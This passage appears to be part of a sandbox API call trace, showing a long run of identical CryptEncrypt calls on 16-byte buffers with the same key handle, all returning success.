pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.742] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.743] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.744] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.745] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.746] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 